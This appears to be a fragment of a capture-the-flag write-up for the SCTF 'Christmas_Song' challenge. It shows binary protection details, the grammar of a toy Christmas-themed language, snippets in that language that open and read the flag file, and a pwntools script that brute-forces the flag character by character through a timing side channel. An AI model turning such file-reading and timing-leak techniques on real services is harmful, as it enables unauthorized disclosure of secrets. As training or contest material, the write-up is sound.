Christmas_Song: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01c26c8510f895dce9e8ce077df41f1398428598, for GNU/Linux 3.2.0, with debug_info, not stripped Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
REINDEER [WORD] DELIVERING [WORD WORD WORD] (BACK [WORD]) NEW_LINE reindeer [函数名] delivering gift [参数1 参数2 参数3] (brings back gift [返回值]);
Want 语句:
1 2
WANT [WORD] IF [OPERATOR] [expr] NEXT [stmts] AGAIN ENDWANT this family wants gift [变量] if the gift [+-*/=?>] [表达式] : [复合语句] Brave reindeer! Fear no difficulties! ok, they should already have a gift;
gift NULL is 0; gift FD is 0; gift C is 4096; gift RN is 32; gift E is 0; reindeer EQQIE delivering gift NULLNULLNULL brings back gift LEAK; gift BUF is LEAK+12288;
reindeer Dasher delivering gift FD BUF RN;
reindeer Dancer delivering gift BUF NULLNULL brings back gift FILEFD; gift FLAGLEN is 30; reindeer Dasher delivering gift FILEFD BUF FLAGLEN; reindeer Dancer delivering gift BUF NULLNULL;
flag = "SCTF{" for i inrange(21-5-1): for ch in dic: tmp = flag + ch slang_file = """ gift stdout is 1; gift flag is "./flag"; gift buf is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; gift size is 40; gift none is 0; gift fd is 0; gift len is {}; gift guess is "{}"; reindeer Dancer delivering gift flag none none brings back gift fd; reindeer Dasher delivering gift fd buf size; reindeer Prancer delivering gift buf guess len brings back gift success; this family wants gift success if the gift equal to 0: gift a is 1; Brave reindeer! Fear no difficulties! ok, they should already have a gift; EOF """.format(i+5+1, tmp) cn = process("python3 server.py".split(" ")) cn.recvuntil("===== Enter partial source for edge compute app (EOF to finish):") cn.sendline(slang_file.encode()) start = time.time() cn.recvuntil("===== Test complete!") end = time.time() if (int(end - start) == 1): flag += ch print("[!] -get: ", flag) cn.close() break cn.close() print(flag)